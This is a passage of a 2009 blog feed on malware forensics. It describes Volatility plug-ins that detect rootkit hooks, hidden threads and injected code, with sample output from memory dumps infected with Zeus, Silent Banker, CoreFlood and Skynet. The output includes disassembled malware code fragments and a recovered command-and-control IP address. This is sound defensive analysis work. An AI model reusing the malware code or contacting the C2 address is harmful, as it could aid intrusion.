{parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://mhl-malware-scripts.googlecode.com/files/Making%20fun%20of%20your%20malware.pdf"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_jAVGHwajDek/SnThAr2GifI/AAAAAAAABqM/2oOlrABNWnk/s320/screen-capture.png" alt="" id="BLOGGER_PHOTO_ID_5365160457990998514" border="0" /&gt;&lt;/a&gt;&lt;span style="text-decoration: underline;"&gt;&lt;br /&gt;&lt;/span&gt;Here is the demo showing how we performed credential recovery for Silent Banker, because the authors forgot to seed the random number generator:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mhl-malware-scripts.googlecode.com/files/silentbanker_sbgold.mov.zip"&gt;http://mhl-malware-scripts.googlecode.com/files/silentbanker_sbgold.mov.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here is the demo showing a new Volatility plug-in that rebuilds the IAT for packed malware, even if the original PE header is wiped out of memory:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mhl-malware-scripts.googlecode.com/files/coreflood_fixiat.mov.zip"&gt;http://mhl-malware-scripts.googlecode.com/files/coreflood_fixiat.mov.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here is the demo showing how to detect SSDT hooks, extract the malicious kernel driver, create an IDB of the driver, and automatically label the rootkit functions in the IDB - all in one step. This plug-in extends &lt;a href="http://moyix.blogspot.com/2008/08/auditing-system-call-table.html"&gt;Brendan Dolan-Gavitt's ssdt.py&lt;/a&gt; for the additional features.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mhl-malware-scripts.googlecode.com/files/laqma_ssdt_ex.mov.zip"&gt;http://mhl-malware-scripts.googlecode.com/files/laqma_ssdt_ex.mov.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy. I will release the actual plug-ins later on.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-3477693220401716970?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/3477693220401716970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=3477693220401716970' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/3477693220401716970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/3477693220401716970'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/08/making-fun-of-your-malware.html' title='Making Fun of Your Malware'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_jAVGHwajDek/SnThAr2GifI/AAAAAAAABqM/2oOlrABNWnk/s72-c/screen-capture.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-3620126778889557569</id><published>2009-07-20T09:51:00.013-06:00</published><updated>2011-04-20T21:33:22.706-06:00</updated><title type='text'>New and Updated Volatility Plug-ins</title><content type='html'>Here is a Volatility plug-in for printing the Interrupt Descriptor Table (IDT) addresses:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mhl-malware-scripts.googlecode.com/files/idt.py"&gt;http://mhl-malware-scripts.googlecode.com/files/idt.py&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It only prints the IDT for one processor, so if anyone wants to update it to handle multiple processors, then feel free. Also if the system's KPCR is located at an address other than 0xFFDFF000 (see &lt;a href="http://moyix.blogspot.com/2008/04/finding-kernel-global-variables-in.html"&gt;Brendan Dolan Gavitt's blog&lt;/a&gt; or &lt;a href="http://www.rootkit.com/vault/Opc0de/GetVarXP.pdf"&gt;Edgar Barbosa's paper&lt;/a&gt;), then you'll need to add the correct address to the script.&lt;br /&gt;&lt;br /&gt;In order to test the script, I used &lt;a href="http://www.rootkit.com/vault/hoglund/basic_interrupt.zip"&gt;Greg Hoglund's basic_interrupt.zip from rootkit.com&lt;/a&gt;. Below you can see that interrupt #46 (0x2E) is pointing inside the basic_int.sys driver.&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;# python volatility idt -f ../hooked_int.bin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;IDT# ISR unused_lo segment_type system_segment_flag DPL P&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;0 0008:804df350 0 0e 0 0 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;1 0008:804df4cb 0 0e 0 0 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;[...]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;46 0008:f8bcd550 0 0e 0 3 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;# python volatility modules -f ../hooked_int.bin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;File Base Size Name&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;\WINDOWS\system32\ntoskrnl.exe 0x00804d7000 0x216700 ntoskrnl.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;\WINDOWS\system32\hal.dll 0x00806ee000 0x020300 hal.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;\??\C:\BASIC_INT.sys 0x00f8bcd000 0x001000 BASIC_INT.sys&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here is a Volatility plug-in for printing driver IRP function addresses:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mhl-malware-scripts.googlecode.com/files/driverirp.py"&gt;http://mhl-malware-scripts.googlecode.com/files/driverirp.py&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The script requires &lt;a href="http://computer.forensikblog.de/files/volatility_plugins/volatility_driverscan-current.zip"&gt;Andreas Schuster's driverscan.py plug-in&lt;/a&gt;. It works by over-riding the object_action method of the PoolScanDriver class. Thanks to Andreas for providing the framework. Thanks to &lt;a href="http://www.4tphi.net/%7Eawalters/"&gt;AAron Walters&lt;/a&gt; for showing me how to over-ride the scanner methods.&lt;br /&gt;&lt;br /&gt;In order to test the script, I used Jamie Butler's &lt;a href="http://www.rootkit.com/vault/fuzen_op/TCPIRPHook.zip"&gt;TCPIRPHook.zip from rootkit.com&lt;/a&gt;. Below you can see that the IRP_MJ_DEVICE_CONTROL function for Tcpip.sys is hooked by irphook.sys.&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;# python volatility driverirp -f ../irphook.bin&lt;br /&gt;0x0218a830 0x823b45b8    7    0 0xb2ef3000 361600 Tcpip                Tcpip        \Driver\Tcpip&lt;br /&gt;   [0] [IRP_MJ_CREATE] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [1] [IRP_MJ_CREATE_NAMED_PIPE] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [2] [IRP_MJ_CLOSE] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [3] [IRP_MJ_READ] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [4] [IRP_MJ_WRITE] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [5] [IRP_MJ_QUERY_INFORMATION] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [6] [IRP_MJ_SET_INFORMATION] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [7] [IRP_MJ_QUERY_EA] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [8] [IRP_MJ_SET_EA] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [9] [IRP_MJ_FLUSH_BUFFERS] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [10] [IRP_MJ_QUERY_VOLUME_INFORMATION] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [11] [IRP_MJ_SET_VOLUME_INFORMATION] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [12] [IRP_MJ_DIRECTORY_CONTROL] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   [13] [IRP_MJ_FILE_SYSTEM_CONTROL] =&amp;gt; 0xb2ef94f9&lt;br /&gt;   &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;[14] [IRP_MJ_DEVICE_CONTROL] =&amp;gt; 0xf8b615d0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;# python volatility modules -f ../irphook.bin&lt;br /&gt;File                                               Base         Size     Name&lt;br /&gt;\WINDOWS\system32\ntoskrnl.exe                     0x00804d7000 0x216700 ntoskrnl.exe&lt;br /&gt;\WINDOWS\system32\hal.dll                          0x00806ee000 0x020300 hal.dll&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;\??\c:\irphook.sys                                 0x00f8b61000 0x001000 irphook.sys&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I updated the usermode hook detection plug-in so that it uses pydasm in a cleaner, more reasonable method. Instead of checking the instruction string against a regex, it checks the opcode type and operand type using constants declared in the libdasm source code. Here is a copy of the new version:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mhl-malware-scripts.googlecode.com/files/usermode_hooks2.py"&gt;http://mhl-malware-scripts.googlecode.com/files/usermode_hooks2.py&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Also, as I mentioned in my &lt;a href="http://mnin.blogspot.com/2009/05/volatility-plug-in-for-iateatinline.html"&gt;original post about usermode hooks&lt;/a&gt;, it can be (and has now been) ported to kernel mode. Here is a copy of the version that detects IAT, EAT, and in-line hooks in kernel drivers instead of usermode modules:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mhl-malware-scripts.googlecode.com/files/kernel_hooks.py"&gt;http://mhl-malware-scripts.googlecode.com/files/kernel_hooks.py&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I tested the script against a sample of the &lt;a href="http://www.trustedsource.org/blog/260/Generic-Rootkitd-Strikes-Again-in-New-Variant"&gt;Skynet trojan&lt;/a&gt;. Below you can see that kernel_hooks.py detects the in-line hooks in ntoskrnl.exe functions.&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;# python volatility kernel_hooks -f ../skynet.bin -d outdir&lt;br /&gt;Type: INLINE, Hooked driver: ntoskrnl.exe (0x804d7000 - 0x806ed780), Hooked function: &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;IofCallDriver&lt;/span&gt; =&amp;gt; jmp 0x8217f20b, Hooking driver:&lt;br /&gt;Type: INLINE, Hooked driver: ntoskrnl.exe (0x804d7000 - 0x806ed780), Hooked function: &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;IofCompleteRequest&lt;/span&gt; =&amp;gt; jmp 0x820babc3, Hooking driver:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;According to the write-up by McAfee, Skynet hooks two other functions using the in-line technique: NtFlushInstructionCache and NtEnumerateKey. The kernel_hooks.py does not currently detect these two, because they are not actually exported by ntoskrnl.exe, and the plug-in finds functions by walking the EAT. The addresses of the two functions are exposed through their corresponding SSDT entries, however, so its possible to find them that way and use the same check_inline function from kernel_hooks.py to inspect.&lt;br /&gt;&lt;br /&gt;I also updated the "threads without modules" plug-in. As described in the &lt;a href="http://mnin.blogspot.com/2009/03/finding-tiggersyzor-infections-and.html"&gt;original post on my blog&lt;/a&gt;, it detects hidden system/kernel threads. Using the new version, you don't have to make any adjustments to files in the Volatility core distribution anymore. Its more user-friendly now that it just over-rides the object_action method of the PoolScanThreadFast2 class in order to change the scanner's behavior.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mhl-malware-scripts.googlecode.com/files/orphan_threads.py"&gt;http://mhl-malware-scripts.googlecode.com/files/orphan_threads.py&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The output of this script still looks the same as before (sample shown for a memory dump of Tigger trojan):&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;# python volatility orphan_threads -f ../tigger.vmem&lt;br /&gt;PID    TID    Offset    StartAddress&lt;br /&gt;------ ------ --------- ------------&lt;br /&gt;4    248 0x2029da8 0xf623f54e&lt;br /&gt;4    996 0x206fb90 0xf6240393&lt;br /&gt;4   1372 0x2095700 0xf623ea46&lt;br /&gt;4    564 0x209d3f8 0xf6240150&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Last but not least, I updated the &lt;a href="http://mnin.blogspot.com/2009/01/malfind-volatility-plug-in.html"&gt;malfind plug-in for detecting hidden/injected code&lt;/a&gt; in usermode processes. You can find the latest version here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mhl-malware-scripts.googlecode.com/files/malfind2.py"&gt;http://mhl-malware-scripts.googlecode.com/files/malfind2.py&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The new version includes the following changes:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;If it finds a PE file in the suspicious memory segment, it fixes up the ImageBase to match the address of the start of the memory region (in case you plan on opening the dumped EXE/DLL in IDA)&lt;/li&gt;&lt;li&gt;If it finds shell code or non-executable data in the suspicious memory segment, it also prints a hexdump (aside from just a disassembly) &lt;/li&gt;&lt;li&gt;It no longer makes external calls to volatility using the commands.getoutput() method. Instead, it accesses the desired functions using the volatility API, which greatly enhances speed. It went from 1 minute and 48 seconds &lt;span style="color: rgb(255, 0, 0);"&gt;down to just 4 seconds&lt;/span&gt;!! The change also makes it easier to use on Windows, because no path adjustments are needed.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;Here's an example of what to see when processing a memory dump infected with Zeus. Note that it extracts a PE file from the memory.&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;# python volatility malfind2 -f ../zeus.vmem -d outdir&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;# svchost.exe (Pid: 972)&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;[!] Range: 0x00890000 - 0x008b7fff&lt;br /&gt;Memory extracted to outdir2/malfind.972.890000-8b7fff.dmp&lt;br /&gt;PE sections: {.odkx, .itiz, .ryd, .rsrc, }&lt;br /&gt;&lt;br /&gt;#&lt;br /&gt;# svchost.exe (Pid: 1064)&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;[!] Range: 0x01f00000 - 0x01f27fff&lt;br /&gt;Memory extracted to outdir2/malfind.1064.1f00000-1f27fff.dmp&lt;br /&gt;PE sections: {.odkx, .itiz, .ryd, .rsrc, }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here's an example of what to see when processing a memory dump infected with Silent Banker. In this case, the suspicious memory is a trampoline for one of the trojan's API function hooks.&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;[!] Range: 0x01650000 - 0x01650fff&lt;br /&gt;Memory extracted to outdir3/malfind.1876.1650000-1650fff.dmp&lt;br /&gt;Hexdump:&lt;br /&gt;0x01650000   58 68 05 00 66 01 68 00 00 00 00 68 00 00 80 7c    Xh..f.h....h...|&lt;br /&gt;0x01650010   68 68 18 0b 10 50 68 8f 9f 0a 10 c3 00 00 00 00    hh...Ph.........&lt;br /&gt;0x01650020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;0x01650030   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;&lt;br /&gt;Disassembly:&lt;br /&gt;0x01650000   pop eax&lt;br /&gt;0x01650001   push dword 0x1660005&lt;br /&gt;0x01650006   push dword 0x0&lt;br /&gt;0x0165000b   push dword 0x7c800000&lt;br /&gt;0x01650010   push dword 0x100b1868&lt;br /&gt;0x01650015   push eax&lt;br /&gt;0x01650016   push dword 0x100a9f8f&lt;br /&gt;0x0165001b   ret &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here's an example of what to see when processing a memory dump infected with CoreFlood. The suspicious memory in this case is the start of the code segment of the PE file (&lt;a href="http://mnin.blogspot.com/2008/11/recovering-coreflood-binaries-with.html"&gt;as mentioned in the original blog&lt;/a&gt;, CoreFlood strips its PE header).&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;[!] Range: 0x7ff80000 - 0x7ffadfff&lt;br /&gt;Memory extracted to outdir4/malfind.248.7ff80000-7ffadfff.dmp&lt;br /&gt;Hexdump:&lt;br /&gt;0x7ff80000   81 ec 20 01 00 00 53 8b 9c 24 30 01 00 00 8b c3    .. ...S..$0.....&lt;br /&gt;0x7ff80010   24 04 55 f6 d8 56 57 8b bc 24 34 01 00 00 68 05    $.U..VW..$4...h.&lt;br /&gt;0x7ff80020   01 00 00 8d 4c 24 2c 51 1b c0 25 27 0c 00 00 33    ....L$,Q..%'...3&lt;br /&gt;0x7ff80030   f6 8b ef 89 44 24 18 89 74 24 1c ff 15 b0 e1 f9    ....D$..t$......&lt;br /&gt;&lt;br /&gt;Disassembly:&lt;br /&gt;0x7ff80000   sub esp,0x120&lt;br /&gt;0x7ff80006   push ebx&lt;br /&gt;0x7ff80007   mov ebx,[esp+0x130]&lt;br /&gt;0x7ff8000e   mov eax,ebx&lt;br /&gt;0x7ff80010   and al,0x4&lt;br /&gt;0x7ff80012   push ebp&lt;br /&gt;0x7ff80013   neg al&lt;br /&gt;0x7ff80015   push esi&lt;br /&gt;0x7ff80016   push edi&lt;br /&gt;0x7ff80017   mov edi,[esp+0x134]&lt;br /&gt;0x7ff8001e   push dword 0x105&lt;br /&gt;0x7ff80023   lea ecx,[esp+0x2c]&lt;br /&gt;0x7ff80027   push ecx&lt;br /&gt;0x7ff80028   sbb eax,eax&lt;br /&gt;0x7ff8002a   and eax,0xc27&lt;br /&gt;0x7ff8002f   xor esi,esi&lt;br /&gt;0x7ff80031   mov ebp,edi&lt;br /&gt;0x7ff80033   mov [esp+0x18],eax&lt;br /&gt;0x7ff80037   mov [esp+0x1c],esi&lt;br /&gt;0x7ff8003b   call [0x7ff9e1b0]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here 's an example of what to see when processing a memory dump infected with the Skynet trojan mentioned above. In this case, the suspicious memory holds a command and control IP address and the name of one of the files that it hides on disk using the rootkit.&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;#&lt;br /&gt;# svchost.exe (Pid: 876)&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;[!] Range: 0x02410000 - 0x02414fff&lt;br /&gt;Memory extracted to outdir5/malfind.876.2410000-2414fff.dmp&lt;br /&gt;Hexdump:&lt;br /&gt;0x02410000   18 00 00 00 68 74 74 70 73 3a 2f 2f 32 31 33 2e    ....&lt;span style="color: rgb(255, 0, 0);"&gt;https://213.&lt;/span&gt;&lt;br /&gt;0x02410010   31 33 33 2e 31 31 30 2e 32 31 2f 00 06 00 00 00    &lt;span style="color: rgb(255, 0, 0);"&gt;133.110.21/&lt;/span&gt;.....&lt;br /&gt;0x02410020   31 30 31 32 30 00 02 00 00 00 30 00 00 4e 00 00    10120.....0..N..&lt;br /&gt;0x02410030   4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00    MZ..............&lt;br /&gt;&lt;br /&gt;[!] Range: 0x02430000 - 0x02434fff&lt;br /&gt;Memory extracted to outdir5/malfind.876.2430000-2434fff.dmp&lt;br /&gt;Hexdump:&lt;br /&gt;0x02430000   00 00 00 10 00 00 00 00 53 4b 59 4e 45 54 63 6d    ........&lt;span style="color: rgb(255, 0, 0);"&gt;SKYNETcm&lt;/span&gt;&lt;br /&gt;0x02430010   64 2e 64 6c 6c 00 00 00 00 00 00 00 00 00 00 00    &lt;span style="color: rgb(255, 0, 0);"&gt;d.dll&lt;/span&gt;...........&lt;br /&gt;0x02430020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;0x02430030   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Please let me know if you have questions or comments about these plug-ins, and if you're interested in helping to build several others.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-3620126778889557569?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/3620126778889557569/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=3620126778889557569' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/3620126778889557569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/3620126778889557569'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/07/new-and-updated-volatility-plug-ins.html' title='New and Updated Volatility Plug-ins'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-7143758268216550440</id><published>2009-07-20T05:23:00.003-06:00</published><updated>2009-07-20T07:23:34.881-06:00</updated><title type='text'>iDefense Malware Analysis Training in Shanghai</title><content type='html'>I just returned home from a trip to Shanghai, China where I taught a 5-day course on malware analysis. Its the second time that iDefense offered this training course outside of the US (first time was at &lt;a href="http://mnin.blogspot.com/2008/10/advanced-malware-analysis-iccyber.html"&gt;ICCYBER Brazil in 2008&lt;/a&gt;). The students ranged from professors at Chinese universities to forensic investigators from one of the very few forensic companies in China. A lot of the students came familiar with assembly language, debuggers, IDA, and basic unpacking, so we spent most of the time with more advanced topics and new tools. After the training, I spent a week in China with my wife, so it was a great trip altogether.&lt;br /&gt;&lt;br /&gt;Our next training in the US will be held in NYC in late August. The next international training is scheduled for London in late October. If you're interested in either course, send me an email.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/SmRbAfKkDXI/AAAAAAAABpg/qkxl6TF1pR8/s1600-h/IMG_0176.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 228px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/SmRbAfKkDXI/AAAAAAAABpg/qkxl6TF1pR8/s400/IMG_0176.JPG" alt="" id="BLOGGER_PHOTO_ID_5360509520401665394" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-7143758268216550440?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/7143758268216550440/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=7143758268216550440' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/7143758268216550440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/7143758268216550440'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/07/idefense-malware-analysis-training-in.html' title='iDefense Malware Analysis Training in Shanghai'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_jAVGHwajDek/SmRbAfKkDXI/AAAAAAAABpg/qkxl6TF1pR8/s72-c/IMG_0176.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-5071445013429325817</id><published>2009-05-22T22:12:00.019-06:00</published><updated>2009-06-24T06:55:23.587-06:00</updated><title type='text'>Volatility Plug-in for IAT/EAT/Inline Hook Detection</title><content type='html'>I released a new &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility&lt;/a&gt; plug-in called &lt;a href="http://code.google.com/p/mhl-malware-scripts/usermode_hooks2.py"&gt;usermode_hooks.py&lt;/a&gt; to detect IAT/EAT/Inline rootkit hooks in usermode processes.&lt;br /&gt;&lt;br /&gt;To use it, make sure you have &lt;a href="http://dkbza.org/pydasm.html"&gt;pydasm&lt;/a&gt; and &lt;a href="http://code.google.com/p/pefile/"&gt;pefile&lt;/a&gt; installed. Then place usermode_hooks.py in your memory_plugins directory. Call it like this:&lt;br /&gt;&lt;br /&gt;# volatility usermode_hooks -d outputdir -p 1202 mem.dmp&lt;br /&gt;# volatility usermode_hooks -d outputdir -f mem.dmp&lt;br /&gt;&lt;br /&gt;The first only looks in the process with pid 1202 for hooks, whereas the second one looks in all processes.&lt;br /&gt;&lt;br /&gt;Its normal for the script to generate a lot of "Memory Not Accessible" warnings. These messages come from executable.py in the Volatility core and are for auditing purposes. It happens because not every page is available when we try to extract the EXE and every loaded DLL. Just apply a command line filter like this:&lt;br /&gt;&lt;br /&gt;# volatility usermode_hooks -d outputdir -f mem.dmp | egrep -v "Memory Not Accessible"&lt;br /&gt;&lt;br /&gt;Since Windows has a lot of legit reasons for hooks, the script can generate a lot of false positives. The good news is, the most common ones are already whitelisted in the script and if you find others, its just Python, so you can add them yourself really quick. Here are some of the defaults:&lt;br /&gt;&lt;br /&gt;* IAT hooks that point inside ntdll.dll&lt;br /&gt;* IAT and Inline hooks that point inside Microsoft C runtime libraries&lt;br /&gt;* IAT hooks of WMI.dll functions that point inside advapi32.dll&lt;br /&gt;* IAT hooks of SCHANNEL.dll functions that point inside secur32.dll&lt;br /&gt;* IAT hooks that point inside the Shim Engine (ShimEng.dll)&lt;br /&gt;&lt;br /&gt;In order to demonstrate the IAT hook detection, I ran the script against a memory dump with Zeus installed. Zeus hooks the IAT of most processes and to be most effective - it also hooks the IAT of all DLLs loaded into the process. If you're interested in more Zeus details, check out my &lt;a href="http://www.securescience.net/FILES/securescience/10378/pubMalwareCaseStudy.pdf"&gt;malware case study with Secure Science Corporation&lt;/a&gt; from 2006. Here is about 1/20th of the output from Zeus hooks:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_jAVGHwajDek/Shga-AC_InI/AAAAAAAABZE/XrSAoAZlKac/s1600-h/screen-capture.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 95px;" src="http://2.bp.blogspot.com/_jAVGHwajDek/Shga-AC_InI/AAAAAAAABZE/XrSAoAZlKac/s400/screen-capture.png" alt="" id="BLOGGER_PHOTO_ID_5339047010714460786" border="0" /&gt;&lt;/a&gt;From the output, you can see that usermode_hooks.py also prints an alert for any EXE or DLL with a TLS segment, which often indicates an anti-debugging mechanism. For the hooked IAT entries, the item to the left of the arrow (in square brackets) is the address of the IAT entry in the hooked module. The item to the right of the arrow is the address of the rootkit code. For the first line, 0x100130c in services.exe should store the address for ntdll.dll!NtQueryDirectoryFile. However, it points to 0x785388 instead, which is not inside ntdll.dll. In fact, its not in any module, just an allocated heap segment where the injected Zeus code exists.&lt;br /&gt;&lt;br /&gt;For detecting suspicious executable heap segments and injected code, remember there is also the &lt;a href="http://mnin.blogspot.com/2009/01/malfind-volatility-plug-in.html"&gt;malfind plug-in for Volatility&lt;/a&gt;. By combining usermode_hooks.py and malfind.py, you can easily find out which functions a trojan hooks and extract the rootkit code (or rebuild the exe/dll) that exists at the hooked address in memory.&lt;br /&gt;&lt;br /&gt;In order to demonstrate the inline hook detection, I ran usermode_hooks.py against a memory image with Silent Banker installed. Inline hooks (i.e. trampoline or detours) are the ones where the first few bytes of a function's prologue gets changed into a JMP that points to rootkit code. This is how most trojans work if they do inline hooking and also how most API hooking libraries work, such as &lt;a href="http://research.microsoft.com/en-us/projects/detours/"&gt;Microsoft Detours&lt;/a&gt;, &lt;a href="http://codefromthe70s.org/mhook22.aspx"&gt;Mhook&lt;/a&gt;, and &lt;a href="http://www.nektra.com/products/deviare/index.php"&gt;Devaire&lt;/a&gt;. Here is the output from Silent Banker:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/Shge_g4jWpI/AAAAAAAABZM/qfuXQJVut0A/s1600-h/screen-capture-1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 169px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/Shge_g4jWpI/AAAAAAAABZM/qfuXQJVut0A/s400/screen-capture-1.png" alt="" id="BLOGGER_PHOTO_ID_5339051434755447442" border="0" /&gt;&lt;/a&gt;For the inline hooks, the item to the left of the arrow is the virtual address of the hooked function in the process memory. To the right of the arrow is a dissassembly of the first instruction, which shows the rogue JMP to rootkit code. If you're interested in the purpose of each hook, with reverse engineered C source code of the 